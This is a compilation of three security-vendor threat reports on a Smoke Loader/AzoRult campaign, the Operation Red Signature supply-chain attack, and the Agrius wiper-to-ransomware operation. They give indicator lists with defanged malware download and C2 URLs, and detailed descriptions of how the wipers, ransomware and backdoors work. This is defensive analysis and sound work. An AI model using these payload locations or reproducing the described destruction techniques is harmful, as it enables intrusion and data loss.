A person registered the domain name jma-go[.]jp on Oct 30, 2018. The domain does not have a second-level domain name, such as .co.jp nor .ne.jp. It is defined as a General-use JP domain name by JPNIC. According to the Whois information of the domain, the domain was owned by a person who has a postal address in Russia and uses a Gmail address. The registrant may change the postal address after registration or could prove a connection or relationship with Japan.
The same person also registered another eight domains with the same Gmail address. We found that three of the domains were used in attacks involving the Android banking trojan/password stealing malware, Marcher from Feb to March in 2018.
Following is the sample list:
| Domain | Marcher SHA256 |
|-----------------------|-----------------------------------------------------|
| Sungmap[.]at | 254925e47fbfff4786eada6cbcb0805ed79d9bd417955c016236143eb2ec |
| Mountainhigh[.]at | 75edaae605622e056a40c2d8a16b86654d7ddc772f12c4fc64292a32a96 |
| Racemodel[.]at | 55ae2b00234674d82dcc401a0daa97e7b3921057a07970347815d9c50d |
On November 25, we confirmed that another malware, AzoRult, was served from the same URL previously serving Smoke Loader. AzoRult is also a commodity malware that steals credentials, cookies, and cryptocurrencies. This AzoRult accesses the following C2 address, which is a different path on the same C2 server with the Smoke Loader:
```
www.jma-go[.]jp/java/java9356/index.php
```
We observed three AzoRult samples using the same C2 at the time of writing this blog. The attacker distributes those files from the following URLs:
- thunderbolt-price[.]com/Art-and-Jakes/Coupon.scr
- bite-me.wz[.]cz/1.exe
The domain thunderbolt-price[.]com was registered in 2012 in Japan, and the Privacy Protection Service protects its registrant information. The website of the domain does not host content at the top page as of today. According to Google search, the domain appears in shopping-related pages from 2014 to 2015.
Interestingly, those web pages are low-quality and mostly hosted on hacked web servers. These web pages are likely created for malicious Search Engine Optimization (SEO) backlinks which gain scores for better page rank in the search engine results.
The domain may have been used for a shopping or affiliate site previously, but the owner does not use it for that purpose anymore. It looks like the attacker compromised the website, which had not been used for a few years, and is using it for distributing AzoRult. However, we don’t know the connection between the attacker and the current owner of the thunderbolt-price[.]com.
### Timetable of Infrastructure Changes and Timestamp of Malware
| Date | Activities |
|--------------|---------------------------------------------------------------------------|
| Oct 30, 2018 | Registers jma-go[.]jp domain |
| Nov 5, 2018 | Smoke Loader 3d75eabb8460450a49e2fb68053d9f591efe5aefd379205e5cc3af574bb9f415 |
| Nov 6, 2018 | Smoke Loader 8a1aab36c3940e4dd83f489432fa710fba582e254c3a52459c52826d6a822f2d |
| | 0db3fd1394b15b98f4e112102cdec6cc569062cdb199b66c5838c54cbc286277 |
| | be3817b9f14df3e0af82ae47b0904ac38d022e2b2d7bb7f8f9800b534b60183c |
| Nov 8, 2018 | Smoke Loader 27aa9cdf60f1fbff84ede0d77bd49677ec346af050ffd90a43b8dcd528c9633b |
| Nov 9, 2018 | Smoke Loader 42fdaffdbacfdf85945bd0e8bfaadb765dde622a0a7268f8aa70cd18c91a0e85 |
| Nov 15, 2018 | Smoke Loader fb3def9c23ba81f85aae0f563f4156ba9453c2e928728283de4abdfb5b5f426f |
| Nov 24, 2018 | AzoRult 70900b5777ea48f4c635f78b597605e9bdbbee469b3052f1bd0088a1d18f85d3 |
| Nov 25, 2018 | Smoke Loader 1ce72ec2f2fe6139eb6bb35b8a4fb40aca2d90bc19872d6517a6ebb66b6b139 |
| Nov 27, 2018 | AzoRult 7337143e5fb7ecbdf1911e248d73c930a81100206e8813ad3a90d4dd69ee53c7 |
| Nov 30, 2018 | Changes the IP address associated with jma-go[.]jp from 47.74.255[.]111 to 149.129.135[.]53 |
| Dec 3, 2018 | AzoRult 48c94bfdb94b322c876114fcf55a6043f1cd612766e8af1635218a747f45fb9 |
## Conclusion
Commodity malware is widely used by cyber criminals these days. The authors of malware keep updating the code to expand the capabilities and trying to gain more customers. As we detailed in this article, Smoke Loader encrypts network traffic and files with various keys to avoid analysis. We recently published a report of a new variant of AzoRult that introduces a new advanced obfuscation technique to evade detection by security products. Attackers, like those in this tsunami campaign, can pick up malware fitting for their purpose from online threat marketplaces.
Palo Alto Networks customers are protected from this threat in the following ways:
- AutoFocus customers can track these samples with the Smoke Loader, AzoRult, and Marcher.
- WildFire detects all files mentioned in this report with malicious verdicts.
- Traps blocks all of the files described in this article.
## IoC
### Smoke Loader Samples
- 3d75eabb8460450a49e2fb68053d9f591efe5aefd379205e5cc3af574bb9f415
- 8a1aab36c3940e4dd83f489432fa710fba582e254c3a52459c52826d6a822f2d
- 0db3fd1394b15b98f4e112102cdec6cc569062cdb199b66c5838c54cbc286277
- be3817b9f14df3e0af82ae47b0904ac38d022e2b2d7bb7f8f9800b534b60183c
- 27aa9cdf60f1fbff84ede0d77bd49677ec346af050ffd90a43b8dcd528c9633b
- 42fdaffdbacfdf85945bd0e8bfaadb765dde622a0a7268f8aa70cd18c91a0e85
- fb3def9c23ba81f85aae0f563f4156ba9453c2e928728283de4abdfb5b5f426f
- 1ce72ec2f2fe6139eb6bb35b8a4fb40aca2d90bc19872d6517a6ebb66b6b139
### AzoRult Samples
- 70900b5777ea48f4c635f78b597605e9bdbbee469b3052f1bd0088a1d18f85d3
- 7337143e5fb7ecbdf1911e248d73c930a81100206e8813ad3a90d4dd69ee53c7
- 48c94bfdb94b322c876114fcf55a6043f1cd612766e8af1635218a747f45fb9
### Marcher Samples
- 55ae2b00234674d82dcc401a0daa97e7b3921057a07970347815d9c50dddbda8
- 75edaae605622e056a40c2d8a16b86654d7ddc772f12c4fc64292a32a96fde7a
- 254925e47fbfff4786eada6cbcb0805ed79d9bd417955c016236143eb2ecd827
### Infrastructures
- jma-go[.]jp/js/metrology/jma.php
- www.jma-go[.]jp/java/java9356/index.php
- jma-go[.]jp/jma/tsunami/tsunami_regions.scr
- thunderbolt-price[.]com/Art-and-Jakes/Coupon.scr
- bite-me.wz[.]cz/1.exe
- racemodel[.]at
- mountainhigh[.]at
- sungmap[.]at
### Appendix
**.bits domain support**
Smoke Loader supports .bit Top Level Domains (TLD). The author of the threat includes the following hard-coded DNS servers to resolve .bit domains. Though we haven’t seen any .bit domain in the Tsunami campaign, we listed the IP addresses just in case for another attack by the threat:
- 192.71.245[.]208
- 58.251.121[.]110
- 101.226.79[.]205
- 188.165.200[.]156
- 185.121.177[.]177
- 185.121.177[.]53
- 144.76.133[.]38
- 169.239.202[.]202
- 5.135.183[.]146
- 193.183.98[.]66
- 51.254.25[.]115
- 51.255.48[.]78 |
# Operation Red Signature Targets South Korean Companies
Together with our colleagues at IssueMakersLab, we uncovered Operation Red Signature, an information theft-driven supply chain attack targeting organizations in South Korea. We discovered the attacks around the end of July, while the media reported the attack in South Korea on August 6.
The threat actors compromised the update server of a remote support solutions provider to deliver a remote access tool called 9002 RAT to their targets of interest through the update process. They carried this out by first stealing the company’s certificate then using it to sign the malware. They also configured the update server to only deliver malicious files if the client is located in the range of IP addresses of their target organizations.
9002 RAT also installed additional malicious tools: an exploit tool for Internet Information Services (IIS) 6 WebDav (exploiting CVE-2017-7269) and an SQL database password dumper. These tools hint at how the attackers are also after data stored in their target’s web server and database.
## Here’s how Operation Red Signature works:
1. The code-signing certificate from the remote support solutions provider is stolen. It’s possible that the certificate was stolen as early as April 2018, as we found a ShiftDoor malware (4ae4aed210f2b4f75bdb855f6a5c11e625d56de2) on April 8 that was signed with the stolen certificate.
2. Malicious update files are prepared, signed with the stolen certificate, and uploaded to the attacker’s server (207.148.94.157).
3. The update server of the company is hacked.
4. The update server is configured to receive an update.zip file from the attackers’ server if a client is connecting from a specific range of IP addresses belonging to their targeted organizations.
5. The malicious update.zip file is sent to the client when the remote support program is executed.
6. The remote support program recognizes the update files as normal and executes the 9002 RAT malware inside it.
7. 9002 RAT downloads and executes additional malicious files from the attackers’ server.
## Technical analysis
The update.zip file contains an update.ini file, which has the malicious update configuration that specifies the remote support solution program to download file000.zip and file001.zip and extract them as rcview40u.dll and rcview.log to the installation folder. The program will then execute rcview40u.dll, signed with the stolen certificate, with Microsoft register server (regsvr32.exe). This dynamic-link library (DLL) is responsible for decrypting the encrypted rcview.log file and executing it in memory. 9002 RAT is the decrypted rcview.log payload, which connects to the command-and-control (C&C) server at 66.42.37.101.
## Correlating 9002 RAT
Delving into 9002 RAT, we found that it was compiled on July 17, 2018, and that the configuration files inside update.zip were created on July 18. Our analysis of an update log file we found reveals the remote support program’s update process started around 13:35 on July 18, with the 9002 RAT being downloaded and launched. We also saw the RAT file used for this specific attack was set to be inactive in August, so we can construe that the RAT’s activity was rather short-lived (from July 18 to July 31).
## Additional malware tools
The 9002 RAT also serves as a springboard for delivering additional malware. Most of these are downloaded as files compressed with the Microsoft cabinet format (.cab). This is most likely done to avoid detection by antivirus (AV) solutions.
Here’s a list of files that 9002 RAT retrieves and delivers to the affected system:
| Filename | Tool | Purpose |
|-------------------|-------------------------------|----------------------------------------------|
| dsget.exe | DsGet | View active directory objects |
| dsquery.exe | DsQuery | Search for active directory objects |
| sharphound.exe | SharpHound | Collect active directory information |
| aio.exe | All In One (AIO) | Publicly available hack tool |
| ssms.exe | SQL Password dumper | Dump password from SQL database |
| printdat.dll | RAT (PlugX variant) | Remote access tool |
| w.exe | IIS 6 WebDav Exploit Tool | Exploit tool for CVE-2017-7269 (IIS 6) |
| Web.exe | WebBrowserPassView | Recover password stored by browser |
| smb.exe | Scanner | Scans the system’s Windows version and computer name |
| m.exe | Custom Mimikatz (including 32bit / 64bit file) | Verify computer password and active directory credentials |
One of the downloaded files, printdat.dll, which is another RAT, is a variant of PlugX malware and connects to the same C&C server (66.42.37.101).
## Mitigating supply chain attacks
Supply chain attacks don’t just affect users and businesses — they exploit the trust between vendors and their clients or customers. By trojanizing software/applications or manipulating the infrastructures or platforms that run them, supply chain attacks affect the integrity and security of the goods and services that organizations provide. In healthcare, for instance, where the industry heavily relies on third-party and cloud-based services, supply chain attacks can risk the privacy of personally identifiable data and intellectual property, disrupt hospital operations, and even endanger patient health. And when stacked up with regulations such as the EU General Data Protection and Regulation (GDPR), the impact can be exacerbated.
Here are some best practices:
- Oversee third-party products and services; apart from ensuring the security of the organization’s own online premises (e.g., patching, authentication mechanisms), security controls must also be in place in third-party applications being used.
- Develop a proactive incident response strategy: Supply chain attacks are often targeted; organizations must be able to fully understand, manage, and monitor the risks involved in third-party vendors.
- Proactively monitor the network for anomalous activities; firewalls and intrusion detection and prevention systems help mitigate network-based threats.
- Enforce the principle of least privilege: Network segmentation, data categorization, restriction of system administration tools, and application control help deter lateral movement and minimize data being exposed.
## Indicators of Compromise (IoCs):
Related hashes (SHA-256):
- 0703a917aaa0630ae1860fb5fb1f64f3cfb4ea8c57eac71c2b0a407b738c4e19 (ShiftDoor) — detected by Trend Micro as BKDR_SETHC.D
- c14ea9b81f782ba36ae3ea450c2850642983814a0f4dc0ea4888038466839c1e (aio.exe) — HKTL_DELOG
- a3a1b1cf29a8f38d05b4292524c3496cb28f78d995dfb0a9aef7b2f949ac278b (m.exe) — HKTL_MIMIKATZ
- 9415ca80c51b2409a88e26a9eb3464db636c2e27f9c61e247d15254e6fbb31eb (printdat.dll) — TSPY_KORPLUG.AN
- 52374f68d1e43f1ca6cd04e5816999ba45c4e42eb0641874be25808c9fe15005 (rcview.log) — TROJ_SIDELOADR.ENC
- bcfacc1ad5686aee3a9d8940e46d32af62f8e1cd1631653795778736b67b6d6e (rcview40u.dll) — TROJ_SIDELOADR.A
- 279cf1773903b7a5de63897d55268aa967a87f915a07924c574e42c9ed12de30 (sharphound.exe) — HKTL_BLOODHOUND
- e5029808f78ec4a079e889e5823ee298edab34013e50a47c279b6dc4d57b1ffc (ssms.exe) — HKTL_PASSDUMP
- e530e16d5756cdc2862b4c9411ac3bb3b113bc87344139b4bfa2c35cd816e518 (w.exe) — TROJ_CVE20177269.MOX
- 28c5a6aefcc57e2862ea16f5f2ecb1e7df84b68e98e5814533262595b237917d (Web.exe) — HKTL_BROWSERPASSVIEW.GA
URLs related to the malicious update file:
- hxxp://207.148.94.157/update/rcv50/update.zip
- hxxp://207.148.94.157/update/rcv50/file000.zip
- hxxp://207.148.94.157/update/rcv50/file001.zip
URLs related to additionally downloaded malicious files:
- hxxp://207.148.94.157/aio.exe
- hxxp://207.148.94.157/smb.exe
- hxxp://207.148.94.157/m.ex_
- hxxp://207.148.94.157/w
- hxxp://207.148.94.157/Web.ex_
Related C&C server (9002 RAT and PlugX variant):
- 66.42.37.101
By: Jaromir Horejsi, Joseph C Chen, Kawabata Kohei, Kenney Lu
August 21, 2018 |
# FROM WIPER TO RANSOMWARE: THE EVOLUTION OF AGRIUS
**Author:** Amitai Ben Shushan Ehrlich
**Date:** May 2021
**SentinelLABS Research Team**
## EXECUTIVE SUMMARY
- A new threat actor SentinelLabs tracks as Agrius was observed operating in Israel starting in 2020.
- Initially engaged in espionage activity, Agrius deployed a set of destructive wiper attacks against Israeli targets, masquerading the activity as ransomware attacks.
- The attacks were carried out using DEADWOOD (aka Detbosit), a wiper with unconfirmed links to an Iranian threat group.
- Agrius actors also dropped a novel wiper named ‘Apostle’ and a custom .NET backdoor called ‘IPsec Helper’.
- Later intrusions carried out by Agrius revealed they kept maintaining and improving Apostle, turning it into a fully functional ransomware.
## DESTRUCTIVE OPERATIONS
A new threat actor we track as Agrius was observed operating in Israel in 2020. While first engaged in espionage activity, Agrius attackers shifted to extorting targets, claiming they stole and encrypted their data. Their data, however, could not be retrieved for any ransom as it was destroyed in a wiping attack.
An analysis of what at first sight appeared to be a ransomware attack revealed new variants of wipers that were deployed in a set of destructive attacks against Israeli targets. The operators behind the attacks intentionally masked their activity as ransomware attacks, an uncommon behavior for financially motivated groups. Considering this and the nature of the known targets, we assess this is a nation-sponsored threat group.
One of the wipers used in the attack, dubbed ‘Apostle’, was later turned into a fully functional ransomware, replacing its wiper functionalities. The message inside it suggests it was used to target a critical, nation-owned facility in the United Arab Emirates. The similarity to its wiper version, as well as the nature of the target in the context of regional disputes, leads us to believe that the operators behind it are utilizing ransomware for its disruptive capabilities.
The usage of ransomware as a disruptive tool is usually hard to prove, as it is difficult to determine a threat actor’s intentions. Analysis of the Apostle malware provides a rare insight into such attacks, drawing a clear line between what began as a wiper malware to a fully operational ransomware.
Based on technical analysis of the tools and attack infrastructure, we assess with medium confidence that the attacks were carried out by a threat group affiliated with Iran. While some links to known Iranian actors were observed, the set of TTPs and tools appear to be unique to this set of activities. SentinelLabs tracks this threat actor as Agrius.
## ATTACK LIFE CYCLE
The Agrius threat group utilizes VPN services (primarily ProtonVPN) for anonymization when accessing the public-facing applications of its targets. Upon successful exploitation, the threat actor deploys webshells or simply accesses the target by using the target organization’s VPN solution. The webshells Agrius deploys are mostly variations of ASPXSpy.
Agrius uses those webshells to tunnel RDP traffic in order to leverage compromised accounts to move laterally. During this phase, the attackers use a variety of publicly available offensive security tools for credential harvesting and lateral movement.
On interesting hosts, the threat actor deploys its own custom malware – ‘IPsec Helper’. This backdoor is written in .NET and appears exclusive to Agrius. The malware registers itself as a service to achieve persistence. It can be used to exfiltrate data or deploy additional malware.
Agrius has deployed two different wipers. The first, dubbed ‘Apostle’, appears to be written by the same developer as ‘IPsec Helper’. Both are written in .NET, share functions, and execute tasks in a similar manner. Interestingly, Apostle was later modified into functioning ransomware. The second wiper, DEADWOOD, was previously involved in a wiping attack in the Middle East and tentatively attributed to Iran though we have been unable to confirm this independently.
## INITIAL INFECTION VECTOR
Agrius’ main infection vector is exploitation of public-facing applications, most likely utilizing publicly available exploits. During our investigation, we observed wide attempts by Agrius to exploit FortiOS CVE-2018-13379 against Israeli targets. Focusing primarily on Israel, we believe the group chooses its targets opportunistically.
Other than attempted exploitation of CVE-2018-13379, Agrius was observed attempting to exploit a variety of 1-day vulnerabilities in web-based applications, as well as attempting SQL injection. Most of the attempts were performed from IPs belonging to VPN services, such as ProtonVPN. Upon successful exploitation, the threat actor uploads a webshell. Those webshells are used to tunnel traffic into the network in order to leverage compromised credentials to move laterally using RDP.
## TOOLSET
### Webshells
Webshells play an important role in Agrius’ operations. Though their webshells appear to vary, closer inspection reveals that they are mostly variations of ASPXSpy. Three of the webshells identified in Agrius intrusions were uploaded to VirusTotal. While submitter countries are an inconclusive indicator, it’s interesting to note that they were uploaded from Iran, Pakistan, and Israel. Two of the webshells are quite similar, other than an additional obfuscation added in the form of a custom base64 encoding function unique to Agrius.
The two samples above contain functionality that enables the threat actor to run commands using ‘cmd.exe’. In the unobfuscated version ‘cmd.exe’ is hardcoded, while the obfuscated version can run any existing file but uses cmd.exe by default.
The third one appears to be a fully functional ASPXspy with the same base64 implementation. This version is referred to in the code as ‘PRIVATECODE’. Although some of the variables remain the same as in publicly available versions of ASPXSpy, some modifications in the code were unique and noteworthy:
1. The naming of the process object ‘prcsss’.
2. The definition of the base64 function ‘public string base64ToStr(string instr)’.
While searching for similar files in VirusTotal we came across one additional webshell using the ‘prcsss’ variable name, originally uploaded from Turkey. This version is also a modification of ASPXSpy and exhibits the same functionality as the base64 obfuscated version without the custom base64 functionality.
The specific implementation of the base64 function was identified on a total of six webshells on VirusTotal, all of which were ASPXSpy variations. Three of the webshells were uploaded from Iran while the rest were uploaded from Saudi Arabia, Pakistan, and the United Arab Emirates. Although we cannot confirm this implementation is exclusive to Agrius, it is apparent it is limited to regional actors, most likely Iranian.
### IPsec Helper - Custom Backdoor
The main implant used by Agrius is IPsec Helper, which is a custom .NET backdoor. The backdoor provides basic functionality like uploading of files from the infected system, running commands, and deploying additional executables. It connects back to C2 servers over HTTP based on a configuration file. The tool is run as a service, suggesting it is executed once the threat actor has achieved elevated privileges.
What appears to be authentic victim uploads of IPsec Helper samples were submitted to VirusTotal from Israel and the United Arab Emirates.
The backdoor malware requires installation as a service. It is registered as ‘IPsec Helper’. Upon execution, it sleeps for a random number of seconds (iterating 200 times over sleeps between 1 to 3 seconds). It then checks for an internet connection by connecting to a predefined list of Microsoft servers.
The malware operates based on an XML configuration file, which is created on the first execution. It is written to disk based on parameters embedded within the file and contains the malware C2 servers, referred to as ‘relays’. The relays are encrypted before being written to the configuration file, although they reside in clear text within the executable. The configuration file also contains a ‘super relay’ contacted in specific situations.
The backdoor randomly chooses a relay and connects to it using HTTP POST requests based on parameters hardcoded within the executable. The first message is sent for registration and contains basic information on the infected machine. After its first registration, the malware will enter the main loop, awaiting commands from its relays. Supported commands include receiving a list of relays, downloading files, executing commands, and updating configuration.
## Apostle - From Wiper to Ransomware
Apostle is a .NET malware whose functionality iteratively developed from a wiper to full-fledged ransomware. We believe the implementation of the encryption functionality is there to mask its actual intention: destroying victim data. This thesis is supported by an early version of Apostle that the attacker’s internally named ‘wiper-action’. This early version was deployed in an attempt to wipe data but failed to do so possibly due to a logic flaw in the malware. The flawed execution led to the deployment of the DEADWOOD wiper. This, of course, did not prevent the attackers from asking for a ransom.
The two versions of Apostle we analyzed share significant portions of code yet demonstrate the evolution of the threat actor. Improvements include repairing logic flaws, implementing ransomware functionality, and passing the compiled code through an obfuscator.
Apostle also shares significant portions of code with IPsec Helper, a closed-source tool which, to our knowledge, is used exclusively by Agrius. The two share code overlaps as well as display evolution between incidents, suggesting that Apostle is developed in-house.
### Apostle Analysis
**Apostle Wiper variant (early)**
The early wiper variant of Apostle was compiled on November 29, 2020. This timestamp appears authentic due to the proximity to its deployment. It is internally named ‘wiper-action’, indicating its purpose. This variant was observed targeting an organization in Israel.
Upon execution, Apostle verifies there’s only one instance by invoking the function ‘IsFirstInstance()’, searching for the mutex ‘Global-XSjzmQixFXFfHO3npSYS’. It then achieves persistence by creating a scheduled task named ‘MicrosoftCrashHandlerUAC’, using ‘AddToStartup()’.
Next, it gets a list of fixed drives on the infected machine and creates a thread for each of the drives excluding the main system drive. Those threads will handle the wiping of each drive. The wiping process searches files based on a list of extensions embedded within the sample. However, matching between the enumerated files and the embedded file extensions list fails as the extensions in the list do not contain a ‘.’, while the function searching the extension from the file does. This guarantees that the wiper will not match any file, effectively preventing it from executing properly.
Assuming files are found (although in this version none will), the wiping process for each file would have been:
- Write random bytes, in 4096 chunks, repeated 6 times.
- Resize the file to size zero.
- Change the 3 time properties (Creation time, Last Access Time, Last Write Time) to 2037-01-01 00:00:00.
- Delete the file.
Next, the wiper will attempt to delete all event logs. Afterwards, it writes a file named ‘system.bat’ to %TEMP% and executes it. The file attempts to delete all files under the system drive, followed by instructing Windows to process idle tasks, and finally deleting itself.
After running ‘system.bat’, the malware writes an additional BAT file to %TEMP%, named ‘remover.bat’. This script attempts to delete the original program as well as itself. A similar process was observed in IPsec Helper.
Lastly, the program calls for a reboot by running the following (pseudo) code.
The malware contains additional functions that remain unused. Those functions include:
- WriteRegistryKey: Writes a given string to a given location in the registry. Interestingly, this function is almost identical to the WriteRegistryKey function of IPsec Helper.
- KillAllProcess: Send a process kill signal to all processes, except for the current process.
- StopAllService: Stop all running services.
**Apostle Ransomware Variant**
The compilation timestamp of the ransomware variant, internally named ‘Apostle’, was most likely modified by an obfuscator (Agile.NET). The sample was uploaded to VirusTotal on March 29 from the United Arab Emirates, and is clearly an evolution of the original wiper version. This means it was most likely developed between November 29, 2020, to March 29, 2021.
Much like the wiper, upon execution the malware checks whether it is the first instance running on the machine using the same function ‘IsFirstInstance()’. The mutex searched for in this version of Apostle is different, but follows a similar pattern - ‘Global-CeikEKrAmr5lh8GJwsDk’.
Proper execution of the ransomware version requires supplying it with a base64 encoded argument containing an XML of an ‘RSAParameters’ object. This argument is passed on and saved as the Public Key used for the encryption process and is most likely generated on a machine owned by the threat actor. If executed without any arguments, it automatically runs the SelfDelete function, which is almost identical to the one in the older version.
The malware then retrieves a list of all running services and stops all services containing the string ‘sql’. This might be an attempt to enable the ransomware to successfully access database files.
The ransomware continues by enumerating through the machine drives in a similar task to the wiper version. For each one of the drives, the malware will:
1. Drop a text file named ‘__READ__ME__.txt’ in each one of the drives using the function ‘CreateMessage()’.
2. Create a thread which generates a list of files to encrypt and initiates the encryption process. This list is generated based on an allow list of extensions (similar to the wiper version) and a specific block list of folders for the Windows drive. In this version, the flawed extension search was fixed.
The ransomware encrypts files using the RijndaelManaged algorithm. The key and IV for the encryption are generated based on a random salt and password. The password is encrypted using the public key given as a command line argument at execution. The encrypted files will be written to a new file, whose name is a random GUID with the extension ‘.lock’. The format of the file will be as follows:
- Salt value (32 bytes), which remain in clear text.
- Encrypted file content.
- Base64 of encrypted original filename, followed by 8 bytes of length.
- Base64 of password encrypted with the public key passed on the command line, followed by 8 bytes of length.
After writing the encrypted file, the ransomware continues to delete the original file. The deletion of the original file resembles the wiping mechanism of the old Apostle version:
- Write random bytes.
- Resize the file to size zero.
- Change the 3 time properties (Creation time, Last Access Time, Last Write Time) to 2037-01-01 00:00:00.
- Delete the file.
The ransomware finishes execution by leaving another message text file on the machine’s Desktop as well as a wallpaper image. It then sleeps for one second, changes the wallpaper to the picture, attempts to delete itself, and shuts down the computer.
The message shown below was embedded within the identified sample and addressed to a specific victim in the United Arab Emirates. The embedded message is similar to a message left by another ransomware variant known as Target777. We believe it was most likely copied, possibly as a false flag, and that the two threat actors are not related. The message is as follows:
```
Hello [REDACTED]
Please, check this message in detail and contact a person from IT department.
Your personal computer has been infected by ransomware virus.
All your personal files (Passport, visas etc.) are encrypted.
If you want to restore your files including your clients' personal data, you will need to make the payment.
Otherwise all your files will be posted on the internet which may lead you to the loss of reputation and cause troubles for your business.
Let us know if you have any questions.
Our email address: [REDACTED]@protonmail.com
If you don't get an answer from us within one day, we will contact you at [REDACTED]
```
Interestingly, the function responsible for writing the message to file attempts to replace strings such as ‘<hostname>’ and ‘<id>’ to customize the message to the machine. Those strings, however, were not found in the message embedded in this sample, which might indicate there are additional, yet undiscovered, versions of this ransomware.
## APOSTLE AND SIMILARITIES TO IPSEC HELPER
Throughout our analysis of Apostle, we noticed it shares significant code overlaps with the main backdoor used by Agrius, IPsec Helper. This may be the result of a shared code base or being written by the same developer.
Apostle shares the naming conventions with IPsec Helper, as well as implementing entire functions from it. The class ‘PublicFunction’ exists in both Apostle and IPsec Helper, and contains three overlapping functions: ExecuteProcess(), GetOwnPath(), and GetWindowsTempPath(). The implementation of those functions is very similar as well.
The self-deletion mechanisms of both are implemented in a similar manner and are both named SelfDelete(). Both malware delete themselves by writing a BAT file named ‘remover.bat’ to ‘%TEMP%’ and executing it, utilizing the above-mentioned functions.
## DEADWOOD WIPER
Agrius also utilized DEADWOOD (aka ‘Detbosit’), a wiper malware written in C++ using the Boost libraries. This wiper was previously reported, although barely discussed compared to other Middle-Eastern wiper malware. According to publicly available information, it was involved in a wiping attack in Saudi Arabia in 2019.
### DEADWOOD Analysis
The wiper can be executed in two modes: as a Service and as a Windows Application. Executing it in either of the modes will also cause an attempt to execute the other as some of the features work in only one of the modes. The name of the service varies across different versions. In the most recent version, the service created by DEADWOOD is named ‘ScDeviceEnums’.
The malware operates based on a configuration file, which lists which functionalities to execute. The configuration file for newer DEADWOOD samples is embedded within the executable as a resource named ‘METADATA’, encrypted using AES. In older versions of the malware, the configuration comes as a single flag passed on the command line or read from a file on disk.
One of the parameters within the configuration file is ‘TimeStamp’, which is used to determine when the wiper functionality starts. When the timestamp is met, a trigger file will be created on the Windows drive, initiating the wiping activity. If the timestamp is in the past, the wiper will execute immediately. This can help coordinate wiping of different machines within the network, enabling maximum impact.
Some of the commands within the configuration file are there to ensure its proper execution by preventing the user from accessing the machine. Those include:
- **COMMAND_CHANGE_PASSWORD:** Changes the password of local users as well as domain users to a random 32 characters string using net.exe.
- **COMMAND_LOG_OFF:** Calls TerminateProcess on “winlogon.exe” to prevent the user from logging into the system.
- **COMMAND_KEEP_LOG_OFF:** Does so on power-management events from the WinApp mode.
- **COMMAND_DISABLE_INPUTS:** Prevents computer interactions using 3 distinct methods (the first is done only by the service while the other 2 are used by both the service and the WinApp).
- **COMMAND_STOP_SERVICES:** Sends a service stop control to every service on the system, except for a list of ~400 names (including itself), on which it does not.
Regardless of the configuration, DEADWOOD will attempt to overwrite files using random data. The additional commands within the configuration file regard the actual wiping operation, and include the following:
- **COMMAND_DESTROY_DISK:** Manually opens and writes zeros to the first 512 bytes of each drive (deleting the MBR).
- **COMMAND_DELETE_FILES:** Causes the files, overwritten with random data, to also be deleted.
- **COMMAND_DELETE_WINDOWS_DRIVE:** If this flag is on, the Windows drive will also be included in the wiping.
With a proper configuration, the impact of the malware might actually look like ransomware, as random data is written over the original content of the files without deleting them. Unlike ransomware, however, data wiped by DEADWOOD cannot be recovered by the threat actor (it can only be restored from a previous backup, if one exists).
The version of DEADWOOD deployed by Agrius is a newer version of the previously reported malware. Other than the minor changes, such as the change of the service name and trigger file, new features were introduced including:
- Some of the strings within the binary are XORed with the byte 0xD5 and are deobfuscated at runtime.
- The configuration is embedded within the executable using AES.
- The Windows Application part checks if it is executed in the active session, and if not, reruns itself in the active session.
## AGRIUS ATTRIBUTION
Throughout our analysis of Agrius techniques, tools, and infrastructure, we found no solid links to any known threat groups. While it is hard to provide a definitive attribution for Agrius, a set of indications pointing the activity towards an Iranian nexus came up throughout the investigation:
1. **Correlation with Iranian interests and past actions:** Iranian threat actors have a long history of deploying wipers, dating back to 2012, when Iranian hackers deployed the notorious Shamoon malware against Saudi Aramco. Agrius wiping activity within Israel may have been part of an ongoing cyber feud between Israel and Iran.
2. **Webshells VirusTotal submissions:** Some of the webshells deployed by Agrius throughout its intrusions were modified versions of ASPXSpy, deploying additional obfuscation and changing variable names. Three of the variants of this webshell were uploaded from Iran, the rest from other countries within the Middle East region.
3. **Infrastructure links to Iran:** The threat actor often used public VPN providers, such as ProtonVPN. On instances where the access was performed from non-VPN nodes, it originated from servers that have also resolved to Iranian domains in the past.
4. **The usage of the DEADWOOD wiper:** Agrius utilized the DEADWOOD wiper, which was previously attributed to an Iranian-nexus actor. The ties between Agrius and the threat actor who originally deployed DEADWOOD remain unclear.
## CONCLUSION
Agrius is a new threat group that we assess with medium confidence to be of Iranian origin, engaged in both espionage and disruptive activity. The group leverages its own custom toolset, as well as publicly available offensive security tools, to target a variety of organizations in the Middle East. In some cases, the group leveraged its access to deploy destructive wiper malware, and in others a custom ransomware. Considering this, we find it unlikely that Agrius is a financially motivated threat actor.
Our analysis of Agrius activity does not come in a vacuum. Early May 2021 saw another set of disruptive ransomware attacks attributed to Iran targeting Israel from the n3tw0rm ransomware group, a newly-identified threat actor with links to the 2020 Pay2Key attacks. The close proximity of the Agrius and n3tw0rm campaigns suggest they may be part of a larger, coordinated Iranian strategy.
While being disruptive and effective, ransomware activities provide deniability, allowing states to send a message without taking direct blame. Similar strategies have been used with devastating effect by other nation-state sponsored actors. The most prominent of those was NotPetya in 2017, a destructive malware targeting Ukraine masked as ransomware and attributed to Russian state-sponsored threat actors by Western intelligence agencies.
## INDICATORS OF COMPROMISE
### IPsec Helper Samples
- b451592c0934e8d91197dab1d846d9c8
- 9d7d20a21cf00f43e1b1701df368e172
- 02aa4ba656d49ebbe930b923b8399b6b
- ef0740198be26c0ba32c0332a2afe133
- 01ed1914b55a2d6ca4e4c97827fba3f4
- 4ea373d0ab8d50b644c95f415e1c0694
- 3259b88515f97d999256fcd3bb7a75a0d4173e9c
- 5ab8582a892c603b00c0989eedca668e55abbba5
- a64924df986c1682fd4f37153a917ee454a18315
- 58d58356b7a1aa69e60b72be4dc2e2499929274a
- 2e488d98a99a0fdffd1e8ae85b3485366ae8287b
- 84aad01489fe6eefd79ef1cbb771eb76fce58fe3
- fc949bd5aa0e704901f12624badd591768ea5613560bd3d88c396479235da095
- 96cc69242a7900810c4d2e9f3f55aad8edb89137959f4c370f80a6e574ddc201
- 40f329d0aaba0d55fc657802761c78be74e19a553de6fd2df592bccf3119ec16
- b30405d654c1bfcd5e2bd338cc16e971738ceb6ba069da413195358b9ca3a2a2
- 6505ecd35e45e521f5e37febd01be04166d725ba87552777c17517533afc6329
- 7b525fe7117ffd8df01588efb874c1b87e4ad2cd7d1e1ceecb5baf2e9c052a52
### Relays URL
- hxxp://195.123.208.152/Admins/login.php
- hxxp://5.2.67.85/View/list.php
